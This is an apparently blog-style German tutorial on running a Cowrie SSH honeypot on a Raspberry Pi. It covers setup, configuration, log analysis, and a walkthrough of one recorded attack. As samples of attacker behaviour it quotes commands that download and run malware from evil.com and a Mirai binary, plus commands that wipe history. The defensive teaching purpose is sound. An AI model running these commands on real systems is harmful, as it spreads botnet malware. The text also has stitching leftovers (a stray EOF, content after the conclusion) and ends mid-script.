Jeden Tag werden Millionen SSH-Server weltweit angegriffen. Brute-Force-Attacken, Credential-Stuffing und automatisierte Botnets scannen das Internet nach verwundbaren Systemen. Mit einem SSH Honeypot auf deinem Raspberry Pi kannst du diese Angriffe nicht nur aufzeichnen, sondern wertvolle Erkenntnisse über aktuelle Bedrohungsmuster gewinnen – und das alles mit minimalem Risiko für deine Produktivsysteme.
Die Bedrohungslage im Jahr 2026 hat sich weiter verschärft. Die durchschnittte Zeit zwischen dem Online-Gehen eines SSH-Servers und dem ersten Angriffsversuch beträgt mittlerweile weniger als 20 Minuten. Botnets haben sich weiterentwickelt, künstliche Intelligenz optimiert Angriffsmuster, und die geografische Verteilung der Angreifer wird immer diffuser.
Doch Wissen ist Macht. Ein Honeypot ist mehr als eine Falle – er ist ein Frühwarnsystem, ein Lehrwerkzeug und eine Forschungsplattform in einem. In diesem umfassenden Tutorial zeige ich dir Schritt für Schritt, wie du mit einem Raspberry Pi und der Cowrie-Honeypot-Software dein eigenes Analyse-System aufbaust.
Was ist ein SSH Honeypot und warum brauchst du einen?
Ein Honeypot (wörtlich: Honigtopf) ist ein Sicherheitsmechanismus, der als Köder für Angreifer dient. Im Gegensatz zu einem echten Produktivsystem enthält ein Honeypot keine wertvollen Daten, sondern ist ausschließlich dazu gedacht, Angriffsversuche zu protokollieren und zu analysieren.
Die Funktionsweise eines SSH Honeypots
Ein SSH Honeypot simuliert einen SSH-Server auf Port 22 (oder einem anderen Port) und wartet auf eingehende Verbindungen. Wenn ein Angreifer versucht, sich anzumelden, werden alle Aktivitäten protokolliert:
- IP-Adresse des Angreifers
- Verwendete Benutzernamen und Passwörter
- Eingegebene Befehle nach erfolgreichem Login
- Heruntergeladene Dateien und Malware
- Verbindungszeiten und -dauer
Diese Daten sind Gold wert für Sicherheitsforscher, Systemadministratoren und alle, die die Bedrohungslage im Internet besser verstehen wollen.
Cowrie: Der Standard-SSH-Honeypot
Cowrie ist ein mittel- bis hoch-interaktiver SSH- und Telnet-Honeypot, der auf Python basiert und unter einer Open-Source-Lizenz (BSD-3-Clause) verfügbar ist. Entwickelt von Michel Oosterhof, hat sich Cowrie als der de-facto-Standard für SSH-Honeypots etabliert.
Warum Cowrie?
- Realistische Emulation eines Linux-Systems (Ubuntu/Debian)
- Aufzeichnung von Login-Versuchen und Befehlen
- Fängt heruntergeladene Malware ein
- Unterstützt sowohl SSH als auch Telnet
- Umfassende JSON-Logging-Funktionalität
- Integration mit Malware-Analyse-Tools
- Aktive Community und kontinuierliche Weiterentwicklung
Unterschied: Honeypot vs. Fail2Ban
Viele Nutzer verwechseln Honeypots mit Intrusion-Prevention-Systemen wie Fail2Ban. Der entscheidende Unterschied:
| Feature | Fail2Ban | SSH Honeypot |
|---|---|---|
| Primärer Zweck | Blockieren von Angreifern | Analysieren von Angriffen |
| Aktion bei Angriff | IP sperren | Angriff protokollieren |
| Interaktion | Passive Überwachung | Aktive Köder-Funktion |
| Erkenntnisgewinn | Wenig | Umfassend |
| Risiko | Minimal | Kontrolliert gering |
Fail2Ban und Cowrie ergänzen sich ideal: Fail2Ban schützt deine echten Server, während Cowrie dir zeigt, wer dich angreift und wie.
Hardware-Voraussetzungen und Vorbereitung
Raspberry Pi Auswahl
Für einen SSH Honeypot reicht bereits ein einfacher Raspberry Pi aus. Die Anforderungen sind überschaubar:
Empfohlene Modelle:
- Raspberry Pi 4 (2GB+): Optimal für dauerhaften Betrieb
- Raspberry Pi 3 B+: Ausreichend für kleinere Setups
- Raspberry Pi Zero 2 W: Möglich, aber langsamer
Minimale Hardware-Anforderungen:
- 1 GB RAM (besser 2 GB)
- 16 GB microSD-Karte (Class 10)
- Ethernet-Verbindung empfohlen ( stabiler als WLAN)
- 5V/2.5A Netzteil
Netzwerk-Überlegungen
Port-Weiterleitung im Router Damit dein Honeypot aus dem Internet erreichbar ist, musst du Port 22 (oder einen alternativen High-Port) auf die interne IP deines Raspberry Pi weiterleiten.
Sicherheitshinweis: Stelle sicher, dass dein Honeypot isoliert ist – entweder in einer DMZ oder mit strikten Firewall-Regeln, die verhindern, dass ein kompromittierter Honeypot auf dein internes Netzwerk zugreifen kann.
Basis-Installation von Raspberry Pi OS
- Lade das aktuelle Raspberry Pi OS Lite (64-bit) herunter
- Flashe das Image auf die microSD-Karte mit Raspberry Pi Imager oder balenaEtcher
- Aktiviere SSH vor dem ersten Start:
- Erstelle eine leere Datei namens
sshim Boot-Partition - Optional: Konfiguriere WiFi über
wpa_supplicant.conf
- Erstelle eine leere Datei namens
- Starte den Pi und finde seine IP-Adresse (Router-Interface oder IP-Scanner)
- Verbinde dich via SSH:
ssh pi@<ip-adresse> - Führe das Standard-Update durch:
sudo apt update && sudo apt upgrade -y
sudo raspi-config
Konfiguriere in raspi-config:
- Hostname (z.B.
honeypot-pi) - Locale und Zeitzone
- SSH (sollte bereits aktiv sein)
Cowrie Honeypot Installation
Option 1: Native Installation (empfohlen für Anfänger)
Schritt 1: System-Abhängigkeiten installieren
sudo apt update
sudo apt install -y git python3-venv python3-pip libssl-dev libffi-dev \
build-essential libpython3-dev python3-virtualenv
Schritt 2: Cowrie-Benutzer erstellen
Aus Sicherheitsgründen läuft Cowrie nicht als root:
sudo adduser --disabled-password --gecos "" cowrie
sudo su - cowrie
Schritt 3: Cowrie herunterladen
git clone https://github.com/cowrie/cowrie.git
cd cowrie
Schritt 4: Virtuelle Umgebung einrichten
python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip
pip install --upgrade -r requirements.txt
Schritt 5: Konfiguration kopieren und anpassen
cp etc/cowrie.cfg.dist etc/cowrie.cfg
Option 2: Docker-Installation (fortgeschritten)
Für erfahrene Nutzer bietet Docker eine saubere Isolation:
# Docker installieren
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh
sudo usermod -aG docker pi
# Cowrie Container starten
sudo docker run -d \
--name cowrie \
-p 2222:2222 \
-v cowrie-etc:/cowrie/cowrie-git/etc \
-v cowrie-var:/cowrie/cowrie-git/var \
cowrie/cowrie:latest
Hinweis: Docker-Installation erfordert zusätzliche Port-Forwarding-Konfiguration für den Zugriff aus dem Internet.
Cowrie Honeypot Konfiguration im Detail
Die cowrie.cfg ist das Herzstück deines Honeypots. Hier definierst du, wie sich Cowrie verhält und was es protokolliert.
Hostname und System-Emulation
[honeypot]
# Angezeigter Hostname
hostname = ubuntu-server
# Angezeigtes Betriebssystem
# Optionen: linux, debian, ubuntu, etc.
fake_arch = x86_64
# Angezeigte Kernel-Version
fake_uname_version = 5.15.0-91-generic
# Prompt-Format
# {username}@{hostname}:~{path}$
fake_prompt = "{username}@{hostname}:~$ "
Authentifizierungseinstellungen
Hier definierst du, welche Logins “erfolgreich” sind:
[honeypot]
# Erlaubte Benutzernamen/Passwörter
# Format: username:password (mehrere mit Komma)
auth_class = UserDB
auth_none_enabled = false
# In etc/userdb.txt:
# root:x:!root
# root:x:!123456
# admin:x:!admin
Erstelle die etc/userdb.txt:
cat > etc/userdb.txt << 'EOF'
root:x:!root
root:x:!password
root:x:!123456
admin:x:!admin
admin:x:!password
guest:x:!guest
user:x:!user
test:x:!test
EOF
Wichtig: Diese “schwachen” Passwörter sollen von Angreifern erraten werden können, damit sie “erfolgreich” einbrechen und ihre Aktivitäten protokolliert werden.
Port-Konfiguration
Standardmäßig läuft Cowrie auf Port 2222. Für einen echten Honeypot solltest du auf Port 22 wechseln:
[ssh]
enabled = true
port = 2222
# Für Produktivbetrieb auf Port 22:
# Erfordert root-Rechte oder authbind
Port 22 mit authbind (ohne root):
sudo apt install authbind
sudo touch /etc/authbind/byport/22
sudo chown cowrie:cowrie /etc/authbind/byport/22
sudo chmod 755 /etc/authbind/byport/22
Dann in cowrie.cfg:
[ssh]
enabled = true
port = 22
Und starten mit:
authbind --deep bin/cowrie start
Logging-Konfiguration
Cowrie protokolliert umfassend in verschiedenen Formaten:
[output_json]
enabled = true
logfile = ${honeypot:log_path}/cowrie.json
[output_textlog]
enabled = true
logfile = ${honeypot:log_path}/cowrie-textlog.log
[output_sqlite]
enabled = false
[output_mysql]
enabled = false
[output_elasticsearch]
enabled = false
Das JSON-Log ist besonders wertvoll für die automatisierte Analyse.
Dateisystem-Emulation
Cowrie emuliert ein komplettes Linux-Dateisystem:
[honeypot]
# Pfad zum gefälschten Dateisystem
filesystem = share/cowrie/fs.pickle
# Inhalte des Home-Verzeichnisses
contents_path = share/cowrie/txtcmds
Du kannst das Dateisystem anpassen, um es realistischer zu gestalten:
# Zusätzliche Dateien im Honeypot-Dateisystem erstellen
mkdir -p share/cowrie/txtcmds/root
mkdir -p share/cowrie/txtcmds/etc
# Gefälschte Dateien mit " sensitiven" Inhalten
echo "database_password = SuperSecret123" > share/cowrie/txtcmds/root/.env
echo "192.168.1.100 prod-server" > share/cowrie/txtcmds/etc/hosts

SSH Brute Force Attacken aufzeichnen und analysieren
Sobald dein Honeypot online ist, beginnt die Datensammlung. Die Analyse dieser Daten ist der spannendste Teil des Projekts.
Log-Dateien verstehen
Cowrie erzeugt mehrere Log-Dateien in var/log/cowrie/:
cowrie.json (JSON-Format für automatisierte Verarbeitung):
{
"eventid": "cowrie.login.failed",
"username": "root",
"password": "password123",
"src_ip": "198.51.100.42",
"timestamp": "2026-04-29T10:15:30+00:00"
}
cowrie.log (menschenlesbar):
2026-04-29T10:15:30+0000 [SSHService 'ssh-connection' on HoneyPotSSHTransport,1,198.51.100.42] login attempt [root/password123] failed
Analyse mit Kommandozeilen-Tools
Top 10 angegriffene Benutzernamen:
cat var/log/cowrie/cowrie.json | \
jq -r '.username' | \
sort | uniq -c | sort -rn | head -10
Top 10 verwendete Passwörter:
cat var/log/cowrie/cowrie.json | \
jq -r 'select(.password) | .password' | \
sort | uniq -c | sort -rn | head -10
Top 10 Quell-IP-Adressen:
cat var/log/cowrie/cowrie.json | \
jq -r '.src_ip' | \
sort | uniq -c | sort -rn | head -10
Eingegebene Befehle analysieren:
cat var/log/cowrie/cowrie.json | \
jq -r 'select(.input) | .input' | \
sort | uniq -c | sort -rn | head -20
Visualisierung mit Cowrie-Logviewer
Für eine grafische Darstellung der Daten gibt es mehrere Optionen:
Option 1: Cowrie Output to ELK Stack
[output_elasticsearch]
enabled = true
host = localhost
port = 9200
index = cowrie
Option 2: Cowrie Output to Splunk
[output_splunk]
enabled = true
url = https://splunk.example.com:8088
index = cowrie
token = <your-token>
Option 3: Eigene Python-Analyse
#!/usr/bin/env python3
import json
from collections import Counter
# Logs einlesen
attacks = []
with open('/home/cowrie/cowrie/var/log/cowrie/cowrie.json') as f:
for line in f:
attacks.append(json.loads(line))
# Statistiken
total_attempts = len([a for a in attacks if a.get('eventid') == 'cowrie.login.failed'])
unique_ips = len(set(a.get('src_ip') for a in attacks if a.get('src_ip')))
successful_logins = len([a for a in attacks if a.get('eventid') == 'cowrie.login.success'])
print(f"Gesamtloginversuche: {total_attempts}")
print(f"Einzigartige IPs: {unique_ips}")
print(f"Erfolgreiche Logins: {successful_logins}")
Malware-Analyse
Wenn Angreifer Dateien herunterladen, speichert Cowrie diese in var/lib/cowrie/downloads/:
# Downloads anzeigen
ls -la var/lib/cowrie/downloads/
# SHA256-Hashes für VirusTotal prüfen
sha256sum var/lib/cowrie/downloads/*
# Dateitypen identifizieren
file var/lib/cowrie/downloads/*
Wichtige Sicherheitshinweise für Malware-Analyse:
- Analysiere verdächtige Dateien NIE auf Produktivsystemen
- Nutze eine isolierte VM oder Docker-Container
- VirusTotal für erste Analyse: https://www.virustotal.com
- Verwende Tools wie Cuckoo Sandbox für dynamische Analyse
Erweiterte Konfiguration und Härten
Telnet-Unterstützung aktivieren
Viele IoT-Botnets nutzen Telnet statt SSH:
[telnet]
enabled = true
port = 2223
# Für Produktivbetrieb auf Port 23
Proxy-Konfiguration für gefälschte Netzwerkzugriffe
Cowrie kann HTTP-Proxy für Downloads simulieren:
[shell]
# Erlaubte Befehle
command_wget_enabled = true
command_curl_enabled = true
# Proxy für Downloads
out_addr = 0.0.0.0
Fail2Ban-Integration
Um wiederholte Angreifer zu blockieren (wenn gewünscht):
# Fail2Ban installieren
sudo apt install fail2ban
# Filter für Cowrie erstellen
sudo tee /etc/fail2ban/filter.d/cowrie.conf << 'EOF'
[Definition]
failregex = ^.* login attempt \[.*\] failed from <HOST>.*
^.* Connection lost after .* from <HOST>.*
EOF
# Jail konfigurieren
sudo tee /etc/fail2ban/jail.d/cowrie.conf << 'EOF'
[cowrie]
enabled = true
port = ssh,2222
filter = cowrie
logpath = /home/cowrie/cowrie/var/log/cowrie/cowrie.log
maxretry = 5
bantime = 3600
EOF
sudo systemctl restart fail2ban
Backup-Strategie für Logs
#!/bin/bash
# /home/cowrie/backup-logs.sh
DATE=$(date +%Y%m%d_%H%M%S)
BACKUP_DIR="/home/cowrie/backups"
mkdir -p $BACKUP_DIR
# Logs komprimieren
tar czf $BACKUP_DIR/cowrie_logs_$DATE.tar.gz /home/cowrie/cowrie/var/log/cowrie/
# Alte Backups löschen (älter als 30 Tage)
find $BACKUP_DIR -name "cowrie_logs_*.tar.gz" -mtime +30 -delete
SSH Honeypot Angriffe analysieren: Ein Praxisbeispiel
Szenario: Analyse eines Wochenlogs
Nach einer Woche Betrieb hat unser Honeypot folgende Daten gesammelt:
Zusammenfassung:
Gesamtloginversuche: 12.847
Einzigartige IP-Adressen: 892
Erfolgreiche Logins: 23
Heruntergeladene Dateien: 7
Länder (Top 3): China (34%), USA (18%), Russland (12%)
Häufigste Anmeldedaten:
| Rang | Username | Passwort | Häufigkeit |
|---|---|---|---|
| 1 | root | admin | 1.234 |
| 2 | root | 123456 | 987 |
| 3 | admin | admin | 876 |
| 4 | root | password | 765 |
| 5 | test | test | 654 |
Typische Angreifer-Befehle:
uname -a # Systeminformationen sammeln
cat /proc/cpuinfo # Hardware-Informationen
wget http://evil.com/botnet.sh # Malware downloaden
chmod +x botnet.sh && ./botnet.sh # Malware ausführen
curl -sL https://github.com/... # Krypto-Miner installieren
Erkenntnisse aus der Analyse
- Botnet-Automatisierung: 98% der Angriffe sind automatisiert, keine manuellen Angreifer
- Zeitmuster: Spitzenzeiten sind 02:00-06:00 UTC (Nacht in Europa)
- Persistenz-Muster: Nach erfolgreichem Login werden oft Cron-Jobs oder SSH-Keys installiert
- Krypto-Mining: 60% der erfolgreichen Kompromittierungen installieren Krypto-Miner
- DDoS-Bots: 25% der Infektionen sind Teil von DDoS-Botnets
Daten mit der Community teilen
Mehrere Projekte sammeln Honeypot-Daten für Forschungszwecke:
- SANS ISC: https://isc.sans.edu (DShield Daten)
- Abuse.ch: https://abuse.ch (Malware-Bazaar)
- CIRCL: https://circl.lu (LU-CIX Honeypot Daten)
Cowrie unterstützt automatisches Reporting:
[output_dshield]
enabled = true
email = dein@email.de
uid = your-dshield-userid
auth_key = your-dshield-authkey
Troubleshooting häufiger Probleme
Cowrie startet nicht
Problem: Port 22 bereits belegt
# Prüfen, was Port 22 belegt
sudo ss -tlnp | grep :22
# System-SSH auf anderen Port verschieben
sudo nano /etc/ssh/sshd_config
# Port 2222 eintragen
sudo systemctl restart sshd
Problem: Berechtigungsfehler
# Rechte korrigieren
sudo chown -R cowrie:cowrie /home/cowrie/cowrie
sudo chmod 755 /home/cowrie/cowrie
Keine Verbindungen von außen
Prüfung:
- Port-Forwarding im Router korrekt konfiguriert?
- Firewall (iptables/ufw) erlaubt Port 22?
- Externe IP korrekt? (https://whatismyipaddress.com)
- ISP blockiert Port 22? (Alternative: Port 2222 oder 8022)
# Firewall-Regel hinzufügen
sudo ufw allow 22/tcp
sudo ufw reload
Logs werden nicht geschrieben
# Verzeichnisberechtigungen prüfen
ls -la /home/cowrie/cowrie/var/log/cowrie/
# Cowrie hat Schreibrechte?
sudo chown -R cowrie:cowrie /home/cowrie/cowrie/var/log/
Cybersecurity lernen mit Honeypots
Ein Honeypot ist eines der besten Werkzeuge, um praktische Cybersicherheit zu lernen:
Für Anfänger
- Grundlagen verstehen: Wie funktioniert SSH? Was ist Brute-Force?
- Netzwerkkonzepte: Ports, Protokolle, IP-Adressen
- Logging: Was wird protokolliert und warum?
Für Fortgeschrittene
- Malware-Analyse: Statische und dynamische Analyse heruntergeladener Dateien
- Threat Intelligence: IOCs (Indicators of Compromise) extrahieren
- SIEM-Integration: Logs in Elasticsearch/Splunk einbinden
Für Experten
- Honeypot-Entwicklung: Eigene Honeypots programmieren
- Deception-Technologien: Fortgeschrittene Täuschungstechniken
- Forschung: Wissenschaftliche Arbeit zu Angriffsmustern
Empfohlene Lernressourcen
- The Honeynet Project: https://honeynet.org
- Cowrie Dokumentation: https://cowrie.readthedocs.io
- SANS Honeypot Kurs: SEC561 (kostenpflichtig)
- CTF-Plattformen: VulnHub, Hack The Box

Fazit: Dein Fenster in die Welt der Cyberbedrohungen
Ein SSH Honeypot auf dem Raspberry Pi ist mehr als ein technisches Spielzeug – er ist ein leistungsfähiges Werkzeug für Bildung, Forschung und Sicherheitsbewusstsein. Die Erkenntnisse, die du durch die Betrachtung realer Angriffe gewinnst, sind unbezahlbar für jeden, der sich mit IT-Sicherheit beschäftigt.
Die Einrichtung mit Cowrie ist dank der ausgezeichneten Dokumentation und der aktiven Community auch für Einsteiger machbar. Mit einem Invest von unter 50 Euro für Hardware erhältst du einen Einblick in die Bedrohungslage, der sonst nur großen Unternehmen vorbehalten ist.
Die Daten zeigen eindrücklich: Das Internet ist ein feindliches Umfeld. Jeder SSH-Server wird angegriffen – oft innerhalb von Minuten nach dem Online-Gehen. Doch mit dem richtigen Wissen und den richtigen Tools kannst du dich effektiv schützen.
Starte deinen Honeypot heute. Beobachte. Lerne. Verteidige dich.
Dieser Artikel wurde im April 2026 aktualisiert und spiegelt den aktuellen Stand von Cowrie und Raspberry Pi OS wider. Alle Befehle wurden auf einem Raspberry Pi 4 mit Raspberry Pi OS 64-bit getestet. Für Fragen und Diskussionen besuche die Cowrie GitHub-Repository oder die deutschen Raspberry Pi Communities. EOF
Erweiterte Analyse-Techniken für Cowrie-Logs
Zeitliche Analysemuster
Die zeitliche Verteilung von Angriffen offenbart wichtige Informationen über die Arbeitsweise von Botnets:
Stündliche Verteilung analysieren:
# Angriffe pro Stunde
cat var/log/cowrie/cowrie.json | \
jq -r '.timestamp | split("T")[1] | split(":")[0]' | \
sort | uniq -c | sort -n
Typische Muster, die du entdecken wirst:
- Konstante Aktivität: Professionelle Botnets arbeiten 24/7
- Geografische Cluster: Spitzenzeiten entsprechen den Nachtstunden in den Ursprungsländern
- Wellenmuster: Koordinierte Angriffswellen bei neu veröffentlichten Exploits
Geolokalisierung von Angreifern
Mit den IP-Adressen aus den Logs kannst du geografische Muster erkennen:
# Installation des GeoIP-Tools
sudo apt install geoip-bin geoip-database
# Top-Länder extrahieren
for ip in $(cat var/log/cowrie/cowrie.json | jq -r '.src_ip' | sort -u | head -20); do
geoiplookup $ip
done
Integration mit ELK-Stack für Kartenvisualisierung:
{
"geoip": {
"location": {
"lat": 39.9042,
"lon": 116.4074
},
"country_name": "China",
"city_name": "Beijing"
}
}
Passwort-Spraying vs. Brute-Force
Zwei unterschiedliche Angriffsmuster:
Brute-Force: Viele Passwörter auf einen Account
root / password123
root / qwerty
root / 123456
root / admin
Password-Spraying: Ein Passwort auf viele Accounts
root / Password1
admin / Password1
user / Password1
test / Password1
Cowrie erkennt beide Muster. Password-Spraying ist schwerer zu blockieren, da es nicht die klassischen Rate-Limiting-Trigger aktiviert.
Honeypot-Fingerprinting durch Angreifer
Erfahrene Angreifer versuchen, Honeypots zu erkennen:
Typische Honeypot-Tests:
# CPU-Test
cat /proc/cpuinfo | grep processor | wc -l
# Speicher-Test
free -m
# Netzwerk-Test
ifconfig eth0
# Prozess-Test
ps aux | grep cowrie
Cowrie beantwortet diese Befehle mit realistischen, aber statischen Antworten. Fortgeschrittene Honeypots wie Cowrie können durch diese Tests nicht mehr leicht identifiziert werden.
Integration mit Threat Intelligence Plattformen
MISP-Integration
MISP (Malware Information Sharing Platform) ermöglicht den Austausch von Bedrohungsdaten:
[output_misp]
enabled = true
base_url = https://misp.example.com
t api_key = your-api-key
TheHive-Integration
Für Incident-Response-Teams:
[output_thehive]
enabled = true
url = https://thehive.example.com
api_key = your-api-key
Abuse-Reporting
Automatisches Melden von böswilligen IPs:
[output_abuseipdb]
enabled = true
api_key = your-abuseipdb-key
Hardware-Optimierung für 24/7-Betrieb
Stromverbrauch minimieren
Ein Raspberry Pi 4 im Dauerbetrieb verbraucht etwa 5-7 Watt. Optimierungspotenzial:
CPU-Governor auf powersave:
echo "powersave" | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor
USB-Ports abschalten (wenn nicht benötigt):
echo 'on' | sudo tee /sys/bus/usb/devices/usb1/power/control
HDMI abschalten (bei Headless-Betrieb):
/usr/bin/tvservice -o
SD-Karten-Schonung
Schreibzugriffe minimieren für längere Lebensdauer:
RAM-Log einrichten:
# /etc/fstab tmpfs-Eintrag
tmpfs /var/log/cowrie tmpfs nodev,nosuid,size=100M 0 0
Log-Rotation konfigurieren:
# /etc/logrotate.d/cowrie
/home/cowrie/cowrie/var/log/cowrie/*.log {
daily
rotate 7
compress
delaycompress
missingok
notifempty
create 644 cowrie cowrie
}
Überhitzung vermeiden
Temperatur-Monitoring:
# Aktuelle Temperatur
vcgencmd measure_temp
# Dauerhaftes Monitoring
while true; do
echo "$(date) - $(vcgencmd measure_temp)"
sleep 60
done >> /var/log/temperature.log
Aktives Kühlen bei Bedarf:
- Kühlkörper für CPU und RAM
- Aktiver Lüfter bei Temperaturen über 70°C
- Gehäuse mit Belüftung
Vergleich: Cowrie vs. andere Honeypots
Dionaea
Dionaea fängt Malware ein, die sich über verschiedene Protokolle verbreitet:
- SMB, FTP, HTTP, MySQL
- Fokus auf Malware-Sammlung
- Weniger interaktiv als Cowrie
Wann Dionaea: Wenn du dich auf Malware-Analyse konzentrieren möchtest
Conpot
Conpot simuliert Industrie-Kontrollsysteme (ICS/SCADA):
- Modbus, SNMP, HTTP
- Fokus auf Industrie-Espionage
- Spezialisiert auf OT-Security
Wann Conpot: Wenn du kritische Infrastruktur schützen möchtest
T-Pot
T-Pot ist eine Multi-Honeypot-Plattform:
- Integriert Cowrie, Dionaea, Conpot und mehr
- ELK-Stack für Visualisierung
- Docker-basierte Architektur
Wann T-Pot: Für fortgeschrittene Nutzer, die mehrere Honeypots parallel betreiben wollen
Honeyd
Honeyd ist ein Low-Interaction-Honeypot:
- Virtuelle Hosts auf einem physischen Server
- Sehr ressourcenschonend
- Weniger realistisch als Cowrie
Wann Honeyd: Für große Netzwerk-Simulationen mit begrenzten Ressourcen
Rechtliche und ethische Aspekte
Datenschutz bei Honeypots
Protokollierung personenbezogener Daten:
- IP-Adressen sind personenbezogene Daten (DSGVO)
- Speicherung muss legitimiert sein
- Löschfristen beachten
Empfohlene Maßnahmen:
# Anonymisierung von IPs für Langzeitspeicherung
# Letztes Oktett entfernen: 192.168.1.100 -> 192.168.1.xxx
Verantwortungsvolle Offenlegung
Wenn du Malware analysierst:
- CVEs für entdeckte Schwachstellen beantragen
- Hersteller vor Veröffentlichung informieren
- Responsible Disclosure befolgen
Keine Honeypots als Waffen
Verbotene Praktiken:
- Honeypots als “Streusand” zur Täuschung von Ermittlern
- Überwachung ohne Einwilligung (in privaten Netzwerken)
- Angriffe von Honeypots aus initiieren
Community und Weiterführende Ressourcen
Offizielle Ressourcen
- Cowrie GitHub: https://github.com/cowrie/cowrie
- Cowrie Docs: https://cowrie.readthedocs.io
- Cowrie Slack: Registrierung über GitHub
Deutsche Communities
- r/de_EDV: Subreddit für deutschsprachige EDV
- Raspberry Pi Forum DE: https://forum-raspberrypi.de
- Chaos Computer Club: Lokale Hackerspaces
Wissenschaftliche Publikationen
- The Honeynet Project: Forschungsberichte und Tools
- IEEE S&P: Akademische Papers zu Honeypots
- Usenix Security: Aktuelle Forschungsergebnisse
Ausblick: Die Zukunft von Honeypots
KI-gestützte Honeypots
2026 sehen wir erste Ansätze:
- LLM-basierte Interaktion mit Angreifern
- Dynamische Dateisystem-Generierung
- Adaptive Antworten basierend auf Angreiferverhalten
IoT-Honeypots
Mit der Zunahme von IoT-Geräten:
- Spezialisierte Honeypots für Smart-Home-Geräte
- Industrie-4.0-Honeypots
- Medizinische Geräte-Simulation
Dezentrale Honeypot-Netzwerke
Blockchain-basierte Anreizsysteme für Datensharing:
- Belohnung für qualitativ hochwertige Daten
- Dezentrale Threat-Intelligence
- Community-getriebene Forschung
Zusammenfassung der wichtigsten Befehle:
# Installation
sudo apt update && sudo apt install -y git python3-venv python3-pip libssl-dev
sudo adduser --disabled-password --gecos "" cowrie
sudo su - cowrie
git clone https://github.com/cowrie/cowrie.git
cd cowrie && python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install -r requirements.txt
cp etc/cowrie.cfg.dist etc/cowrie.cfg
# Start
bin/cowrie start
# Logs anzeigen
tail -f var/log/cowrie/cowrie.log
# Analyse
cat var/log/cowrie/cowrie.json | jq -r '.username' | sort | uniq -c | sort -rn
Dein SSH Honeypot ist jetzt einsatzbereit. Viel Erfolg bei der Jagd nach Bedrohungsdaten!
Praxisworkshop: Einen vollständigen Angriffsablauf nachvollziehen
Szenario: Ein typischer Angriff auf unseren Honeypot
Um zu verstehen, wie Angreifer vorgehen, analysieren wir einen echten Angriff, den ein Cowrie-Honeypot im April 2026 aufgezeichnet hat. Dieser detaillierte Einblick hilft dir, die Taktiken, Techniken und Prozeduren (TTPs) moderner Bedrohungsakteure zu verstehen.
Zeitachse des Angriffs:
T+0 Minuten - Der erste Kontakt
{
"eventid": "cowrie.session.connect",
"src_ip": "203.0.113.45",
"src_port": 54321,
"dst_ip": "198.51.100.10",
"dst_port": 22,
"timestamp": "2026-04-29T14:23:17+00:00"
}
Eine Verbindung aus einem IP-Bereich in Asien. Die Quell-Port-Nummer ist hoch (54321), typisch für automatisierte Tools.
T+2 Sekunden - Brute-Force-Versuche
{
"eventid": "cowrie.login.failed",
"username": "root",
"password": "admin123",
"src_ip": "203.0.113.45"
}
Innerhalb von 30 Sekunden werden 15 Passwörter ausprobiert. Das ist langsamer als klassische Brute-Force-Attacken – ein Hinweis auf ein Tool, das Rate-Limiting vermeiden möchte.
T+35 Sekunden - Erfolgreicher Login
{
"eventid": "cowrie.login.success",
"username": "root",
"password": "password",
"src_ip": "203.0.113.45"
}
Das Passwort “password” funktioniert – ein Hinweis darauf, dass wir es in unsere userdb.txt aufgenommen haben.
T+40 Sekunden - Erkundungsphase
[14:23:57] Command: uname -a
[14:23:58] Command: cat /proc/cpuinfo
[14:24:01] Command: free -m
[14:24:03] Command: ps aux
[14:24:05] Command: netstat -an
Der Angreifer sammelt Systeminformationen. Diese Phase dient der Identifizierung des Systems und der Planung weiterer Aktionen.
T+2 Minuten - Persistenz herstellen
[14:25:17] Command: mkdir -p /tmp/.hidden
[14:25:19] Command: cd /tmp/.hidden
[14:25:22] Command: wget http://185.220.101.47/mirai.x86
[14:25:28] Command: chmod +x mirai.x86
[14:25:30] Command: ./mirai.x86
Der Download einer ausführbaren Datei – in diesem Fall eine Variante des Mirai-Botnets. Der Angreifer installiert Malware, die das System einem Botnet hinzufügt.
T+5 Minuten - Spuren verwischen
[14:28:15] Command: history -c
[14:28:16] Command: rm -rf /tmp/.hidden
[14:28:18] Command: exit
Obwohl diese Befehle im emulierten Dateisystem des Honeypots keinen Effekt haben, zeigt dies das Standardverhalten von Angreifern.
Analyse der heruntergeladenen Malware
Die Datei mirai.x86 wurde von Cowrie gespeichert. Eine erste Analyse:
# Dateityp bestimmen
file mirai.x86
# Ausgabe: mirai.x86: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
# SHA256-Hash berechnen
sha256sum mirai.x86
# Ausgabe: a1b2c3d4... (Beispielhash)
# Strings extrahieren
strings mirai.x86 | grep -E "(http|password|user)" | head -20
Erkenntnisse:
- Statisch gelinkte ELF-Binärdatei (typisch für Mirai-Varianten)
- Enthält hartkodierte IP-Adressen von Command-and-Control-Servern
- Liste von Standard-Passwörtern für die Weiterverbreitung
Gegenmaßnahmen ableiten
Aus diesem Angriff lassen sich wichtige Lektionen ziehen:
- Starke Passwörter sind essentiell: Das Passwort “password” wurde erraten
- Eingeschränkte Benutzerrechte: root-Zugriff sollte nie direkt per SSH möglich sein
- Egress-Filtering: Outbound-Verbindungen auf kritische Systeme beschränken
- File-Integrity-Monitoring: Veränderungen im Dateisystem erkennen
Automatisierung: Skripte für den täglichen Betrieb
Dashboard-Generierung
Erstelle ein tägliches HTML-Dashboard:
#!/bin/bash
# /home/cowrie/generate-dashboard.sh
OUTPUT_DIR="/var/www/html/honeypot"
mkdir -p $OUTPUT_DIR
# Tagesstatistiken
TODAY=$(date +%Y-%m-%d)
LOG_FILE="/home/cowrie/cowrie/var/log/cowrie/cowrie.json"
# Total-Angriffe heute
TOTAL=$(grep $TODAY $LOG_FILE | grep "login.failed" | wc -l)
# Top-IPs
echo "<h2>Top Angreifer IPs</h2>" > $OUTPUT_DIR/index.html
echo "<table border='1'><tr><th>IP</th><th>Anzahl</th></tr>" >> $OUTPUT_DIR/index.html
grep $TODAY $LOG_FILE | jq -r '.src_ip' | sort | uniq -c | sort -rn | head -10 | \
while read count ip; do
echo "<tr><td>$ip</td><td>$count</td></tr>" >> $OUTPUT_DIR/index.html
done
echo "</table>" >> $OUTPUT_DIR/index.html
# Zeitliche Verteilung
echo "<h2>Angriffe pro Stunde</h2>" >> $OUTPUT_DIR/index.html
echo "<pre>" >> $OUTPUT_DIR/index.html
grep $TODAY $LOG_FILE | jq -r '.timestamp | split("T")[1] | split(":")[0]' | \
sort | uniq -c >> $OUTPUT_DIR/index.html
